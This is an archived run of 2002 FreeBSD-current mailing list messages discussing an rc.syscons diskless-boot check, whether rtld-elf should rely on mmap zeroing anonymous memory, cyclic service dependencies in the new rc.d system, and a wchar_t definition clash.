Date: Sun, 16 Jun 2002 14:04:13 -0700
From: Doug Barton <DougB@FreeBSD.org>
Organization: Triborough Bridge & Tunnel Authority
X-Mailer: Mozilla 4.79 [en] (X11; U; FreeBSD 4.5-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: current@FreeBSD.org
Cc: dirkx@covalent.net
Subject: mini-Head's up: rc.syscons now test for /dev/ttyv0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

	Based on some suggestions by a user, I've added the following to the
top of rc.syscons:

# Handle diskless boots, and other situations where syscons is not
present
#
if [ ! -c "${kbddev}" ]; then
        exit 0
fi

As far as I can tell, this should be safe, but if anyone comes across
wackiness, please let me know.

Doug

-- 
   "We have known freedom's price. We have shown freedom's power.
      And in this great conflict, ...  we will see freedom's victory."
	- George W. Bush, President of the United States
          State of the Union, January 28, 2002

         Do YOU Yahoo!?

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 14:22: 9 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mobile.webweaving.org (fia224-72.dsl.hccnet.nl [62.251.72.224])
	by hub.freebsd.org (Postfix) with ESMTP
	id 1AF8337B41B; Sun, 16 Jun 2002 14:22:04 -0700 (PDT)
Received: from localhost.leiden.webweaving.org (localhost.leiden.webweaving.org [127.0.0.1] (may be forged))
	by mobile.webweaving.org (8.12.2/8.10.2) with ESMTP id g5GLLwqD002449;
	Sun, 16 Jun 2002 23:21:58 +0200 (CEST)
X-Curiosity: Killed the Cat
X-Huis-aan-Huis-deur-sticker: nee-nee
X-Spam: no
X-Passed: MX on Gandalf.WebWeaving.org Sun, 16 Jun 2002 23:21:58 +0200 (CEST) and masked
X-No-Spam: Neither the receipients nor the senders email address(s)
	are to be used for Unsolicited (Commercial) Email without the
	explicit written consent of either party; as a per-message fee
	is incurred for inbound and outbound traffic to the originator.
Date: Sun, 16 Jun 2002 23:21:57 +0200 (CEST)
From: dirkx@covalent.net
X-X-Sender: dirkx@mobile.webweaving.org
To: DougB@FreeBSD.org
Cc: current@FreeBSD.org
Subject: Re: mini-Head's up: rc.syscons now test for /dev/ttyv0
In-Reply-To: <3D0CFD4D.ACCE9CB2@FreeBSD.org>
Message-ID: <Pine.OSX.4.43.0206162321410.339-100000@mobile.webweaving.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sun, 16 Jun 2002, Doug Barton wrote:

> 	Based on some suggestions by a user, I've added the following to the
> top of rc.syscons:
>
> # Handle diskless boots, and other situations where syscons is not
> present
> #
> if [ ! -c "${kbddev}" ]; then
>         exit 0
> fi
>
> As far as I can tell, this should be safe, but if anyone comes across
> wackiness, please let me know.

Thanks - this solves it for me (for machines with devfs enabled - which is
the default).

Dw


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 14:35:16 2002
Delivered-To: freebsd-current@freebsd.org
Received: from 12-234-22-238.client.attbi.com (12-234-90-219.client.attbi.com [12.234.90.219])
	by hub.freebsd.org (Postfix) with ESMTP id 592AF37B40C
	for <current@FreeBSD.org>; Sun, 16 Jun 2002 14:35:11 -0700 (PDT)
Received: from Master.gorean.org (master.gorean.org [10.0.0.2])
	by 12-234-22-238.client.attbi.com (8.12.3/8.12.3) with ESMTP id g5GLZAXN052706;
	Sun, 16 Jun 2002 14:35:10 -0700 (PDT)
	(envelope-from DougB@FreeBSD.org)
Received: from localhost (doug@localhost)
	by Master.gorean.org (8.12.3/8.12.3/Submit) with ESMTP id g5GLZ9hB007722;
	Sun, 16 Jun 2002 14:35:09 -0700 (PDT)
X-Authentication-Warning: Master.gorean.org: doug owned process doing -bs
Date: Sun, 16 Jun 2002 14:35:09 -0700 (PDT)
From: Doug Barton <DougB@FreeBSD.org>
To: dirkx@covalent.net
Cc: current@FreeBSD.org
Subject: Re: mini-Head's up: rc.syscons now test for /dev/ttyv0
In-Reply-To: <Pine.OSX.4.43.0206162321410.339-100000@mobile.webweaving.org>
Message-ID: <20020616143431.H5875-100000@master.gorean.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sun, 16 Jun 2002 dirkx@covalent.net wrote:

> On Sun, 16 Jun 2002, Doug Barton wrote:
>
> > 	Based on some suggestions by a user, I've added the following to the
> > top of rc.syscons:
> >
> > # Handle diskless boots, and other situations where syscons is not
> > present
> > #
> > if [ ! -c "${kbddev}" ]; then
> >         exit 0
> > fi
> >
> > As far as I can tell, this should be safe, but if anyone comes across
> > wackiness, please let me know.
>
> Thanks - this solves it for me (for machines with devfs enabled - which is
> the default).

Good news...  anyone familiar enough with diskless boot in -stable to
comment on this?

Doug

-- 
   "We have known freedom's price. We have shown freedom's power.
      And in this great conflict, ...  we will see freedom's victory."
	- George W. Bush, President of the United States
          State of the Union, January 28, 2002

         Do YOU Yahoo!?



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 15:11:58 2002
Delivered-To: freebsd-current@freebsd.org
Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2])
	by hub.freebsd.org (Postfix) with ESMTP
	id F398A37B40A; Sun, 16 Jun 2002 15:11:42 -0700 (PDT)
Received: from apollo.backplane.com (localhost [127.0.0.1])
	by apollo.backplane.com (8.12.3/8.12.3) with ESMTP id g5GMBgCV042007;
	Sun, 16 Jun 2002 15:11:42 -0700 (PDT)
	(envelope-from dillon@apollo.backplane.com)
Received: (from dillon@localhost)
	by apollo.backplane.com (8.12.3/8.12.3/Submit) id g5GMBgri042006;
	Sun, 16 Jun 2002 15:11:42 -0700 (PDT)
	(envelope-from dillon)
Date: Sun, 16 Jun 2002 15:11:42 -0700 (PDT)
From: Matthew Dillon <dillon@apollo.backplane.com>
Message-Id: <200206162211.g5GMBgri042006@apollo.backplane.com>
To: Alfred Perlstein <bright@mu.org>
Cc: freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG,
	jdp@polstra.com, obrien@FreeBSD.ORG
Subject: Re: rtld-elf patches for non-i386 architectures (review / test request)
References: <200206162042.g5GKg5JW041655@apollo.backplane.com> <20020616205719.GC67925@elvis.mu.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


:
:Why memset(3) the anon memory to zero, isn't that what it's supposed
:to be initialized to anyway?
:
:-- 
:-Alfred Perlstein [alfred@freebsd.org]

    I was just being ultra-conservative.  You are absolutely correct
    in regards to the anonymous area already being zero.  I would like
    to commit with the memset()'s in just for uniformity and then make 
    another pass to remove them.  (there's no real issue of cpu waste
    since we are going to take faults on the anonymous pages anyway).

					-Matt
					Matthew Dillon 
					<dillon@backplane.com>

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 15:48:10 2002
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (wall-gw.polstra.com [206.213.73.130])
	by hub.freebsd.org (Postfix) with ESMTP
	id 3020C37B405; Sun, 16 Jun 2002 15:48:04 -0700 (PDT)
Received: from strings.polstra.com (strings.polstra.com [206.213.73.20])
	by wall.polstra.com (8.11.3/8.11.3) with ESMTP id g5GMkff66045;
	Sun, 16 Jun 2002 15:46:41 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.20020616154641.jdp@polstra.com>
X-Mailer: XFMail 1.5.1 on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <200206162211.g5GMBgri042006@apollo.backplane.com>
Date: Sun, 16 Jun 2002 15:46:41 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: Matthew Dillon <dillon@apollo.backplane.com>
Subject: Re: rtld-elf patches for non-i386 architectures (review / test r
Cc: obrien@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG,
	freebsd-current@FreeBSD.ORG, Alfred Perlstein <bright@mu.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Matthew Dillon wrote:
>:
>:Why memset(3) the anon memory to zero, isn't that what it's supposed
>:to be initialized to anyway?
>:
>:-- 
>:-Alfred Perlstein [alfred@freebsd.org]
> 
>     I was just being ultra-conservative.  You are absolutely correct
>     in regards to the anonymous area already being zero.  I would like
>     to commit with the memset()'s in just for uniformity and then make 
>     another pass to remove them.  (there's no real issue of cpu waste
>     since we are going to take faults on the anonymous pages anyway).

Sounds OK to me, although I worry a little bit about relying on the
zeroing of the memory by mmap.  I don't see it documented in the man
page, so there's a (slight) risk that somebody could remove that
feature in the future.

John

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 15:48:51 2002
Delivered-To: freebsd-current@freebsd.org
Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50])
	by hub.freebsd.org (Postfix) with ESMTP id E663F37B42B
	for <current@freebsd.org>; Sun, 16 Jun 2002 15:48:44 -0700 (PDT)
Received: from pool0202.cvx40-bradley.dialup.earthlink.net ([216.244.42.202] helo=mindspring.com)
	by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17Jinx-0004Ig-00; Sun, 16 Jun 2002 15:47:29 -0700
Message-ID: <3D0D155B.1ACEF5E8@mindspring.com>
Date: Sun, 16 Jun 2002 15:46:51 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Mike Makonnen <makonnen@pacbell.net>
Cc: current@FreeBSD.ORG, danny@cs.huji.ac.il, gordont@gnf.org
Subject: Re: HEADS UP: rc.d is in the tree
References: <E17IrYC-000NFi-00@cse.cs.huji.ac.il>
	 <20020614142308.7ddeaed0.makonnen@pacbell.net>
	 <3D0A6E7B.F243329A@mindspring.com> <20020615121247.A6971@dragon.nuxi.com>
	 <3D0B9A60.A4A816A4@mindspring.com>
	 <20020615144656.06f8404d.makonnen@pacbell.net>
	 <3D0BBD43.6623BCBD@mindspring.com> <20020616054030.29e6ed35.makonnen@pacbell.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Mike Makonnen wrote:
> So, what you're describing is a chicken and egg problem. The solution
> is simple, the sysadmin decides which one he wants to start first by
> fiddling with the REQUIRE and BEFORE lines, or the script can make
> use of the force_depend() subroutine to start required services
> that aren't already started.

Not that simple, still.

The dependency list is assumed to be a DAG -- an Acyclic Directed
Graph -- and the purpose of rcorder is to perform a topological
sort (tsort) on the graph, so that a breadth-first descent will
result in everything starting in the proper order.

The are two problems here:

1)	Starting something isn't enough.  There's "started" and
	there's "available".  Restarting a DNS server with about
	50,000 domains and all the accompanying records is going
	to take on the order 3 minutes (this is from personal
	experience; this is why DJBDNS is insufficient, and this
	is also why DNSUPDAT is a good thing, and why zone creation
	is something you should hack in).

2)	The problem I'm describing is a cycle in the graph.  The
	rcorder *depends* on the dependency graph being acyclic;
	I'm telling you that it's cyclic, unless you take into
	account the strength of dependencies... i.e. in addition
	to "started" and "available", there's also "actively used".

It looks like I need to give you a more complex case.

Consider the case of a dial on demand gateway device with interior
network connectivity and exterior connectivity (right now, all we
care about is that there are two interfaces: inside-facing and
outside-facing), which is running:

o	An external DNS server
o	An internal DNS server
o	An internal SMTP server
o	An external SMTP (firewalled) server

When the exterior interface is brought up, all services which are
dependent on the external IP address must be reconfigured and
restarted.  Obviously, this must include the external DNS server
(for right now, we will ignore the possibility of DNSUPDAT).

When this happens, all services that depend on the external DNS
server must be reconfigured and restarted.  This list includes
the external SMTP server.  Why?  The answer is that the external
SMTP server has obtained its canonical name for the external
interface -- the name it uses in the connection greeting message,
and in HELO/EHLO sent to other machines in the outbound email
case -- from the external DNS server.  If you dial into a different
IP address, then this external server's name changes, since the
treverse mappings are owned by the ISP that is permitting the
dialin.

In fact, any time you change the external DNS information at all,
you must pull a "Pol Pot" -- you nust take the DNS server out into
the street, and shoot it in the back of the head so that it is
restarted with new information.  But this must become a massacre:
you have to do the same to all services that depend on the DNS.

Now consider what "demand" is in the "dial on demand" case: it's
the need to send packets off the local network.  The most common
case for this is the need to send a SYN to a remote SMTP server
from the interior SMTP server, in order to send email.  So... the
SMTP server polling interval arrives, you do a local queue run,
and decide to make contact to an exterior SMTP server.  The SMTP
server locally attempts a connect(), and the link comes up; you
shoot the external DNS server in the head.  Then you shoot the
program that made the demand in the head because it's idea of its
canonical name is now incorrect.  The demand goes away.

What can we learn from this (other than "cached information is a
bad thing")?

That we can't get rid of circular dependencies entirely, and so
we have to base the dependencies on classification.

Now there are ways around this and similar problems.  Most of
them involve running your own NOC to service the devices in the
field, so that you can make certain simplifying assumptions;
some of them, you could fix if you were to modify the sockets
interface to do application based connect() attempt failure
(e.g. EADMIN -- operation was administratively prohibited) on
the credential of the requesting party.

But the one thing that's obvious is that you need to be able to
discriminate dependencies with a granularity better than "dead"
vs. "alive".

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 16: 4:54 2002
Delivered-To: freebsd-current@freebsd.org
Received: from goose.mail.pas.earthlink.net (goose.mail.pas.earthlink.net [207.217.120.18])
	by hub.freebsd.org (Postfix) with ESMTP
	id E60CB37B409; Sun, 16 Jun 2002 16:04:51 -0700 (PDT)
Received: from pool0202.cvx40-bradley.dialup.earthlink.net ([216.244.42.202] helo=mindspring.com)
	by goose.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17Jj4f-0005Po-00; Sun, 16 Jun 2002 16:04:45 -0700
Message-ID: <3D0D1966.1B50A8EE@mindspring.com>
Date: Sun, 16 Jun 2002 16:04:06 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Martin Blapp <mb@imp.ch>
Cc: current@freebsd.org, obrien@freebsd.org, peter@freebsd.org
Subject: Re: PATCH: wchar_t is already defined in libstd++
References: <20020616225518.I34000-100000@levais.imp.ch>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Martin Blapp wrote:
> On current, wchar_t is already defined in libstd++. This
> makes gcc baby cry.

What's it defined _as_?

If it's defined as anything other than an unsigned 16 bit int,
we are probably all eventually screwed.

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 18:13:50 2002
Delivered-To: freebsd-current@freebsd.org
Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193])
	by hub.freebsd.org (Postfix) with ESMTP id 018EF37B407
	for <freebsd-current@FreeBSD.ORG>; Sun, 16 Jun 2002 18:13:45 -0700 (PDT)
Received: from khavrinen.lcs.mit.edu (localhost [IPv6:::1])
	by khavrinen.lcs.mit.edu (8.12.3/8.12.3) with ESMTP id g5H1DiDK087148;
	Sun, 16 Jun 2002 21:13:44 -0400 (EDT)
	(envelope-from wollman@khavrinen.lcs.mit.edu)
Received: (from wollman@localhost)
	by khavrinen.lcs.mit.edu (8.12.3/8.12.3/Submit) id g5H1Di6M087145;
	Sun, 16 Jun 2002 21:13:44 -0400 (EDT)
	(envelope-from wollman)
Date: Sun, 16 Jun 2002 21:13:44 -0400 (EDT)
From: Garrett Wollman <wollman@lcs.mit.edu>
Message-Id: <200206170113.g5H1Di6M087145@khavrinen.lcs.mit.edu>
To: John Polstra <jdp@polstra.com>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: rtld-elf patches for non-i386 architectures (review / test r
In-Reply-To: <XFMail.20020616154641.jdp@polstra.com>
References: <200206162211.g5GMBgri042006@apollo.backplane.com>
	<XFMail.20020616154641.jdp@polstra.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

<<On Sun, 16 Jun 2002 15:46:41 -0700 (PDT), John Polstra <jdp@polstra.com> said:

> page, so there's a (slight) risk that somebody could remove that
> feature in the future.

To do so would be to introduce a security hole, so this risk is less
than slight.

-GAWollman


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 18:15:48 2002
Delivered-To: freebsd-current@freebsd.org
Received: by hub.freebsd.org (Postfix, from userid 931)
	id 3412D37B40F; Sun, 16 Jun 2002 18:15:46 -0700 (PDT)
Date: Sun, 16 Jun 2002 18:15:46 -0700
From: Juli Mallett <jmallett@FreeBSD.org>
To: Garrett Wollman <wollman@lcs.mit.edu>
Cc: John Polstra <jdp@polstra.com>, freebsd-current@FreeBSD.ORG
Subject: Re: rtld-elf patches for non-i386 architectures (review / test r
Message-ID: <20020616181546.A63202@FreeBSD.ORG>
References: <200206162211.g5GMBgri042006@apollo.backplane.com> <XFMail.20020616154641.jdp@polstra.com> <200206170113.g5H1Di6M087145@khavrinen.lcs.mit.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200206170113.g5H1Di6M087145@khavrinen.lcs.mit.edu>; from wollman@lcs.mit.edu on Sun, Jun 16, 2002 at 09:13:44PM -0400
Organisation: The FreeBSD Project <http://FreeBSD.org>
X-Alternate-Addresses: <jmallett@NewGold.NET>, <jmallett@xMach.org>, <juli@jerkcity.com>, <flata@toxic.magnesium.net>
X-Affiliated-Projects: FreeBSD, xMach, ircd-hybrid-7
X-Towel: Yes
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

* Garrett Wollman <wollman@lcs.mit.edu> escriurères
> <<On Sun, 16 Jun 2002 15:46:41 -0700 (PDT), John Polstra <jdp@polstra.com> said:
> 
> > page, so there's a (slight) risk that somebody could remove that
> > feature in the future.
> 
> To do so would be to introduce a security hole, so this risk is less
> than slight.
> 
> -GAWollman

If someone were to do this, they'd have ot have a pretty good reason, and
more over, would probably be told to just add a new flag, MAP_NOZERO or
MAP_POSSIBLYDIRTY or something.

I don't think it's really a threat likely to materialise.
-- 
Juli Mallett <jmallett@FreeBSD.org>       | FreeBSD: The Power To Serve
Will break world for fulltime employment. | finger jmallett@FreeBSD.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 18:20:11 2002
Delivered-To: freebsd-current@freebsd.org
Received: from ish7.ericsson.com.au (ish7.ericsson.com.au [203.61.155.111])
	by hub.freebsd.org (Postfix) with ESMTP id 7B82A37B401
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 18:19:57 -0700 (PDT)
Received: from brsf10.epa.ericsson.se (brsf10 [146.11.8.4])
	by ish7.ericsson.com.au (8.11.6+Sun/8.11.6) with ESMTP id g5H1IEg04236
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 11:18:14 +1000 (EST)
Received: from eaubrnt019.epa.ericsson.se (eaubrnt019.epa.ericsson.se [146.11.9.165])
	by brsf10.epa.ericsson.se (8.11.6+Sun/8.11.6) with ESMTP id g5H1Jt414934
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 11:19:55 +1000 (EST)
Received: by eaubrnt019.epa.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <M9DHMR50>; Mon, 17 Jun 2002 11:19:55 +1000
Message-ID: <4B6BC00CD15FD2119E5F0008C7A419A514C8BB33@eaubrnt018.epa.ericsson.se>
From: "Johny Mattsson (EPA)" <Johny.Mattsson@ericsson.com.au>
To: "'freebsd-current@freebsd.org'" <freebsd-current@freebsd.org>
Subject: RE: rtld-elf patches for non-i386 architectures (review / test r
Date: Mon, 17 Jun 2002 11:19:53 +1000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C2159D.156BCBB0"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C2159D.156BCBB0
Content-Type: text/plain

Is there anything preventing someone from just adding this constraint to the
manpage?
It appears to me this is a very good candidate for the
solve-in-documentation approach.

Cheers,
/Johny

PS. My apologies if this email is sent in a stupid HTML or such format, I'm
stuck with
M$ Exchange here at work, and turning off the exchange-isms aren't all that
easy :-(

> -----Original Message-----
> From:	Garrett Wollman [SMTP:wollman@lcs.mit.edu]
> Sent:	Monday, June 17, 2002 11:14 AM
> To:	John Polstra
> Cc:	freebsd-current@FreeBSD.ORG
> Subject:	Re: rtld-elf patches for non-i386 architectures (review /
> test r
> 
> <<On Sun, 16 Jun 2002 15:46:41 -0700 (PDT), John Polstra <jdp@polstra.com>
> said:
> 
> > page, so there's a (slight) risk that somebody could remove that
> > feature in the future.
> 
> To do so would be to introduce a security hole, so this risk is less
> than slight.
> 
> -GAWollman
> 
> 

------_=_NextPart_001_01C2159D.156BCBB0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DUS-ASCII">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.19">
<TITLE>RE: rtld-elf patches for non-i386 architectures (review / test =
r</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">Is there anything preventing someone =
from just adding this constraint to the manpage?</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">It appears to me this is a very good =
candidate for the solve-in-documentation approach.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Cheers,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">/Johny</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">PS. My apologies if this email is sent =
in a stupid HTML or such format, I'm stuck with</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">M$ Exchange here at work, and turning =
off the exchange-isms aren't all that easy :-(</FONT>
</P>

<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Garrett Wollman =
[SMTP:wollman@lcs.mit.edu]</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Monday, June 17, 2002 11:14 AM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">John Polstra</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">freebsd-current@FreeBSD.ORG</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">Re: rtld-elf patches for non-i386 =
architectures (review / test r</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&lt;&lt;On Sun, 16 Jun 2002 15:46:41 =
-0700 (PDT), John Polstra &lt;jdp@polstra.com&gt; said:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; page, so there's a (slight) risk =
that somebody could remove that</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; feature in the future.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">To do so would be to introduce a =
security hole, so this risk is less</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">than slight.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">-GAWollman</FONT>
</P>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01C2159D.156BCBB0--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 18:48:42 2002
Delivered-To: freebsd-current@freebsd.org
Received: from rover.village.org (rover.bsdimp.com [204.144.255.66])
	by hub.freebsd.org (Postfix) with ESMTP id ED98237B421
	for <current@freebsd.org>; Sun, 16 Jun 2002 18:48:38 -0700 (PDT)
Received: from harmony.village.org (harmony.village.org [10.0.0.6])
	by rover.village.org (8.11.3/8.11.3) with ESMTP id g5H1mbY29917
	for <current@freebsd.org>; Sun, 16 Jun 2002 19:48:37 -0600 (MDT)
	(envelope-from imp@village.org)
Received: from localhost (warner@rover2.village.org [10.0.0.1])
	by harmony.village.org (8.11.6/8.11.6) with ESMTP id g5H1maG65214
	for <current@freebsd.org>; Sun, 16 Jun 2002 19:48:36 -0600 (MDT)
